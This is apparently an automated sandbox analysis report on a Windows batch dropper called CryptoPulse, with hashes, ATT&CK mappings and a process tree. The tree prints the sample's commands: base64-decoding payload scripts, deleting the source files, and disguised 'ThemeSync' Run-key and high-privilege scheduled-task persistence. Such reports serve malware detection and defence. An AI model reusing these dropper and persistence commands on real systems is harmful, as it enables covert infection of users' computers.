fbde54cb988fbbf66373b7e8d7d4c440feeccbae0a4ab279e456eb0984ed8de6

Analysis

max time kernel
300s
max time network
202s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/06/2026, 18:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
CryptoPulse-Single-Dropper-YourAddrs.bat
Size 27KB
Sample260602-wpghssds7k
SHA256 fbde54cb988fbbf66373b7e8d7d4c440feeccbae0a4ab279e456eb0984ed8de6
MD5 3c773a737b00e2f1ad5c4ec1a80ab9c2
SHA1 af7c256635e28da9b23ad1c594d56a474ceef4cd
SHA512 01663891a8b8bbf40ee89585d8bff0ae53be1ffec9e9831803c0f31d16d0d1e4b0c585e4aa6e7617e1bfb918127d6daf1dcef117b2c4fd63b7b6ea66d308e6c0
SSDEEP 768:37GCnzOP9zkja0n8+EVYGtErrDQF3tB3PZ6:37Zni9zkjaQ8+AYGyrfA3thPQ
TLSH
T191C22AA31C5A1E5A6FF0995169EC14E11CECE3CE20E0BDCFA369B448E67444E32D279C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	3524	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1636999435-3883760687-346127294-1000\Software\Microsoft\Windows\CurrentVersion\Run\ThemeSync = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\Cached\\launch.vbs\""	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1776	powershell.exe
3432	powershell.exe
4036	powershell.exe
3524	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1396	timeout.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
4636	taskkill.exe
4104	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1732	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1776	powershell.exe
1776	powershell.exe
3432	powershell.exe
3432	powershell.exe
4036	powershell.exe
4036	powershell.exe
3524	powershell.exe
3524	powershell.exe

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	4636	taskkill.exe
Token: SeDebugPrivilege	4104	taskkill.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	4036	powershell.exe
Token: SeDebugPrivilege	3524	powershell.exe
Token: SeIncreaseQuotaPrivilege	3524	powershell.exe
Token: SeSecurityPrivilege	3524	powershell.exe
Token: SeTakeOwnershipPrivilege	3524	powershell.exe
Token: SeLoadDriverPrivilege	3524	powershell.exe
Token: SeSystemProfilePrivilege	3524	powershell.exe
Token: SeSystemtimePrivilege	3524	powershell.exe
Token: SeProfSingleProcessPrivilege	3524	powershell.exe
Token: SeIncBasePriorityPrivilege	3524	powershell.exe
Token: SeCreatePagefilePrivilege	3524	powershell.exe
Token: SeBackupPrivilege	3524	powershell.exe
Token: SeRestorePrivilege	3524	powershell.exe
Token: SeShutdownPrivilege	3524	powershell.exe
Token: SeDebugPrivilege	3524	powershell.exe
Token: SeSystemEnvironmentPrivilege	3524	powershell.exe
Token: SeRemoteShutdownPrivilege	3524	powershell.exe
Token: SeUndockPrivilege	3524	powershell.exe
Token: SeManageVolumePrivilege	3524	powershell.exe
Token: 33	3524	powershell.exe
Token: 34	3524	powershell.exe
Token: 35	3524	powershell.exe
Token: 36	3524	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 3780	4512	cmd.exe	81
PID 3780 wrote to memory of 4636	3780	cmd.exe	83
PID 3780 wrote to memory of 4104	3780	cmd.exe	85
PID 3780 wrote to memory of 1396	3780	cmd.exe	86
PID 3780 wrote to memory of 1776	3780	cmd.exe	87
PID 3780 wrote to memory of 3432	3780	cmd.exe	88
PID 3780 wrote to memory of 4036	3780	cmd.exe	89
PID 3780 wrote to memory of 4920	3780	cmd.exe	90
PID 3780 wrote to memory of 1732	3780	cmd.exe	91
PID 3780 wrote to memory of 4464	3780	cmd.exe	92
PID 4464 wrote to memory of 3524	4464	wscript.exe	93

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\CryptoPulse-Single-Dropper-YourAddrs.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\CryptoPulse-Single-Dropper-YourAddrs.bat" hide
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM powershell.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4636
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM wscript.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4104
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\\theme.ps1', [Convert]::FromBase64String(((Get-Content 'C:\Users\Admin\AppData\Local\Temp\cp_ps1.b64') -join ''))); Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cp_ps1.b64' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\\bip39.txt', [Convert]::FromBase64String(((Get-Content 'C:\Users\Admin\AppData\Local\Temp\cp_bip.b64') -join ''))); Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cp_bip.b64' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "[IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\\launch.vbs', [Convert]::FromBase64String(((Get-Content 'C:\Users\Admin\AppData\Local\Temp\cp_vbs.b64') -join ''))); Remove-Item 'C:\Users\Admin\AppData\Local\Temp\cp_vbs.b64' -Force"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4036
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ThemeSync" /t REG_SZ /d "wscript.exe \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs\"" /f
    3⤵
    - Adds Run key to start application
    PID:4920
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftWindowsThemeSync" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs\"" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1732
- - C:\Windows\system32\wscript.exe
    wscript.exe "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\theme.ps1"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3524

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:228

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
MD5 88dc70c361a22feac57b031dd9c1f02f
SHA1 a9b4732260c2a323750022a73480f229ce25d46d
SHA512 19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c
TLSH
T13551DF313375B1D489163F47192C19C423BF4355FA94AF4CB698620ED92740B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 99570f5fb2cdea71b49f1704812a3dac1bf98b00f13269108b17a4d40816c88e
MD5 0391e52dac35ffa88c8427ac72f0fcf0
SHA1 908f7e0761d4eae163aabc2e84124f5ca855119b
SHA512 0bfaa86e2defedb734bde5c4105446e38c0b9903fe8dce681de48c1dea87b6bc8bf202df0108931ecf3558167ae6ba6e251e5b52c79107940f1b7a368344ff4e
TLSH
T1C6117633B79CC134C8E915BA1088AD11B1B1C3CB049EDE8F7B84C119E67F99AEB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 34e44060ab82aa2a3f7007afad1fd907e1a319b26e3e7061cefbfb001d5021ae
MD5 3d6e3b64f994978b94fc50a5b2985f9d
SHA1 dac0218a14cdbfcd871b6b24ad370c9ed5304421
SHA512 1488bb2391d7e8be284ed07c57deb6628e93d650dc8959b49f220ff17a6ef04975b10f4ef2b2b39e57b638b0e91d572d79caccd6f9d45ed572ab8955375532cf
TLSH
T12B117A33B79CC134C8D9157A1088AD11B1B1C3CB049EDE8F7B84C109E57F99ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
MD5 d6b84d4be64de661c778642e3a7f6ff7
SHA1 714900a833208d39d6a4d0a96c671372dc5a12dd
SHA512 7fb33a924af54810bb8c69a0c4a126b1ba6ade4944f098ab8334c0a6c8fee91c7d8e25465c79deed6f6f7fe2000366831f801691dd950051a37c850722907c77
TLSH
T108115333B79CC235C8E915BA1088AE11B1B5C3C7049EDE8F7A84C109E67F99ADB645E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3s4u521r.2lb.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3s4u521r.2lb.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cp_bip.b64

Path C:\Users\Admin\AppData\Local\Temp\cp_bip.b64
Size 17KB
SHA256 c38883a93ee16c11557c0c8eed35bd67e0977c253fe939178c252a07c4e47c81
MD5 56e0b2f948c33de3fbcfd815ecc2fac2
SHA1 38b55342b1c2e523bcb846255354d206261d8770
SHA512 3678655522a92f57e840a80976227cf0da5e1be65f0de1f56287e8feae774046924e7efa260231ccef8942ab1b6bc9733797923d86aee060e0b4a9b2c0dfe68e
SSDEEP 384:WIuXja0gj8+E42hGVcETgrgiOCo80Qs+dYtBzrP+cSf7r:qa0W8+EVhGtEruDQs3tB3POr
TLSH
T10372E87315191AAF99F46A46A4A825B10CD8E7CE30F0FEC7E73DB401EB7484531E1BA9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cp_ps1.b64

Path C:\Users\Admin\AppData\Local\Temp\cp_ps1.b64
Size 7KB
SHA256 fedd64e81dacbec7993481b5cfe383db065e970c125ffb654bf09c168b4c1edb
MD5 7ed7b2a88f5f146a86d8fef0ed880a46
SHA1 ff1ae00a475b6d69eb91f59714cad3a6e3a0dfa6
SHA512 3a866e8592622d6aa666abca363bfbca8e1911d78ff221aabbbcbba3232463d71d257b7fb7d66db5b1f101e50cce51fa0d431a4260d52f5707598c6f43bdf8c9
SSDEEP 192:5pWi4+k8i/T+eQTBxyB6MP9zktvCn5u/r:5pWiFk8TDTzynP9zktvCn5uT
TLSH
T16FF1C8A44CDB1E88BFA3CDA11DEC3CD769BD4B8B0481342E43D5AD9CB1A258F96C119C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cp_vbs.b64

Path C:\Users\Admin\AppData\Local\Temp\cp_vbs.b64
Size 374B
SHA256 c74a955436e350b7f876966191f4112427a8946e0fdd3cbe61291337a6ed954b
MD5 f54ef69f6ed172aa7ad7ac5c2883dd27
SHA1 775ef46757745d3a5f35c393ab877c1bc5492db1
SHA512 2a994466775c6f2f8f43eadc80b4dcd822aef127aa2ae4fbe3633c0e9c5cafb0dc14992949949f22d1f4e87c71cc12d936a61b091a3ad7143510c2fda511e739
TLSH
T12DE0C0DE74302320490DA211FC6453D5ACEC969D28E33C061E52348382F91CD79E64E4
MD5 SHA1 SHA512 TLSH

Submit Download

bip39.txt

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\bip39.txt
Size 12KB
SHA256 d0003245f30106bd5d7ef8ebd135f5c6b0c3ab1f6c874184784d658737294828
MD5 8fe58cfc44be8011193f7a9c4ae35747
SHA1 9d14bd31ecae2da96f52c8bc2b1a4741aed6a912
SHA512 a60059ac4316f2765a2a91b4a93d6292de357e812f40b055775c6a6fb6119dc68f6594873d7e45cb66081448ff19bf8d82dbd94471023a9d75b41ab91f19b10b
SSDEEP 192:DAvLtKog3W88riDa/+rLpsNxEKqlyjn6SiEqCr4MX/7yvSX30hw8OdqXRJ59JF2m:MvLAogQIaGrdsNxnLvXSSUqCpiO
TLSH
T1A3421A7CA360353BEACB5B8FDC883F51DA444D336E0254E4B66D5649184B9C6CB28E2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

launch.vbs

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\launch.vbs
Size 279B
SHA256 bff1501bee3106a6b4d904a72f0b4f1a2c3ef69a83b93613c19ce133c65901cd
MD5 7bafa2d94f6e115dbdd2e9f6e7fa3ae3
SHA1 b1ddce8aa6d316325a45884caa0fe301271e96a7
SHA512 dc42efa2d32b357b91d71338aa9f9f789ad997b94627fb10b4d05eadc19fbe54c9a15f4e3e6c7d13d9bd206719293371e05a85a5c65d678f685aa1f679355300
TLSH
T17AD02B04E935CB290D5FD2BA00F2C81DCAB6B22C1210D528A9A4CD8454183B0072A746
MD5 SHA1 SHA512 TLSH

Submit Download

theme.ps1

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\Cached\theme.ps1
Size 5KB
SHA256 867722324af9e7c8bf7227e2e4be723c302fd456bda1556ab7d8553fcf17a372
MD5 af964adbfdd619743302748ea39bb482
SHA1 ed74df8cfddf333439f964dcdc44aefaab6aeb42
SHA512 a9e291fd7bd7fc370519bddad4e7c351be4249fa3c7909afdac59747e14633c3ec98d5c0b774773d948e49cab13a6dbb4fdd197ac0d7e4346b52a73fbf3b8d3a
SSDEEP 96:9WTilyGZ5LMg5XTtn3Lu5I1VJBJzST5mckfX/JZh9Juy84hdWBKfXU05sJrRVU78:94W1D5XTZ3qgc9kvl9DToBKfXsJrRVUo
TLSH
T18DC1B618716E1C79C3DF1B8A28B32D4E85EE05378004496DFCDEC0A44FA5729A4CA7ED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1776-3-0x000002DDCF5B0000-0x000002DDCF5C0000-memory.dmp

Download

memory/1776-10-0x000002DDEAEB0000-0x000002DDEAED2000-memory.dmp

Download

memory/1776-2-0x000002DDCF5B0000-0x000002DDCF5C0000-memory.dmp

Download

memory/3524-63-0x000001CDB97D0000-0x000001CDB97EC000-memory.dmp

Download

memory/3524-64-0x000001CDB97F0000-0x000001CDB98A3000-memory.dmp

Download

memory/3524-65-0x000001CDB7440000-0x000001CDB744A000-memory.dmp

Download

memory/3524-66-0x000001CDB9B30000-0x000001CDB9B5A000-memory.dmp

Download

memory/3524-67-0x000001CDB9B30000-0x000001CDB9B54000-memory.dmp

Download

memory/3524-68-0x000001CDB9CD0000-0x000001CDB9E92000-memory.dmp

Download

memory/3524-69-0x000001CDBA3D0000-0x000001CDBA8F8000-memory.dmp

Download